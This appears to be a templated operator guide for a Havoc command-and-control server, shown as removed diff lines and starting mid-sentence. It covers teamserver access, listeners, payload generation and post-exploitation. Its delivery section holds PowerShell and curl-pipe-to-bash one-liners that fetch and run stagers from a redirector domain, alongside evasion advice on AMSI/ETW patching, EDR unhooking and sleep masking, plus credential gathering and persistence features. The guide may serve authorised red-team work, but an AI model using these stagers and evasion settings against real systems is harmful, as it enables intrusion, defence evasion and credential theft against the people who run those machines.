(dev branch) -deployed on your infrastructure. - -SERVER INFORMATION ------------------ -C2 Server IP: {{ c2_ip }} -Redirector Domain: {{ redirector_domain }} -Teamserver Port: {{ havoc_teamserver_port | default(40056) }} -HTTP Listener Port: {{ havoc_http_port | default(8080) }} -HTTPS Listener Port: {{ havoc_https_port | default(443) }} -Admin User: {{ havoc_admin_user | default('admin') }} -Admin Password: Stored in /root/Tools/Havoc/data/profiles/default.yaotl - -CONNECTING TO THE TEAMSERVER ---------------------------- -From your local machine: - -1. Make sure Havoc client (dev branch) is installed: - $ git clone -b dev https://github.com/HavocFramework/Havoc.git - $ cd Havoc/Client - $ mkdir build && cd build - $ cmake -GNinja .. - $ ninja - -2. Connect to the Teamserver via GUI: - - Host: {{ c2_ip }} - - Port: {{ havoc_teamserver_port | default(40056) }} - - User: {{ havoc_admin_user | default('admin') }} - - Password: See /root/Tools/Havoc/data/profiles/default.yaotl - -3. CLI Connection: - $ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] - -LISTENERS --------- -Two default listeners are configured: -- HTTP on port {{ havoc_http_port | default(8080) }} -- HTTPS on port {{ havoc_https_port | default(443) }} (through the redirector) - -To view and manage listeners: Attack → Listeners in the Havoc client. - -GENERATING PAYLOADS ------------------ -Pre-generated payloads are available in /root/Tools/Havoc/payloads/ - -To generate new payloads: -1. Connect to the Teamserver -2. Navigate to Attack → Payload -3. Select the listener (HTTPS recommended) -4. Choose architecture, format, and evasion options -5. For enhanced evasion: Enable indirect syscalls, stack spoofing, and sleep mask - -PAYLOAD DELIVERY --------------- -PowerShell one-liner: -powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')" - -Linux one-liner: -curl -s https://{{ redirector_domain }}/linux_stager.sh | bash - -OPERATIONAL SECURITY ------------------- -- All connections are routed through the redirector -- Payload customization includes: - * Sleep time: {{ havoc_sleep | default(5) }} seconds with {{ havoc_jitter | default(30) }}% jitter - * EDR unhooking techniques - * AMSI/ETW patching - * Indirect syscalls - * Sleep masking with technique: {{ havoc_sleep_mask_technique | default(0) }} - -ADVANCED FEATURES (DEV BRANCH) ----------------------------- -- Enhanced memory scanner evasion -- PPID spoofing capabilities -- Reflective DLL loading improvements -- EDR hook detection and avoidance -- Process token manipulation -- Registry persistence options - -POST-EXPLOITATION ---------------- -For post-exploitation, Havoc offers: - -1. BOF (Beacon Object Files) support -2. Integrated command & control modules -3. File system operations -4. Process injection & manipulation -5. Credential gathering capabilities - -SERVER MANAGEMENT ---------------- -- Havoc Teamserver service: systemctl status havoc -- Service configuration: /etc/systemd/system/havoc.service -- Configuration profiles: /root/Tools/Havoc/data/profiles/ - -TROUBLESHOOTING --------------- -1. Agent connection issues: - - Verify DNS for {{ redirector_domain }} points to your redirector - - Check nginx configuration on the redirector - - Confirm ports {{ havoc_http_port | default(8080) }} and {{ havoc_https_port | default(443) }} are open - -2. Teamserver issues: - - Check service: systemctl status havoc - - View logs: journalctl -u havoc - - Restart if needed: systemctl restart havoc - -3. Use Havoc client CLI debugging: - ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] --debug \ No newline at end of file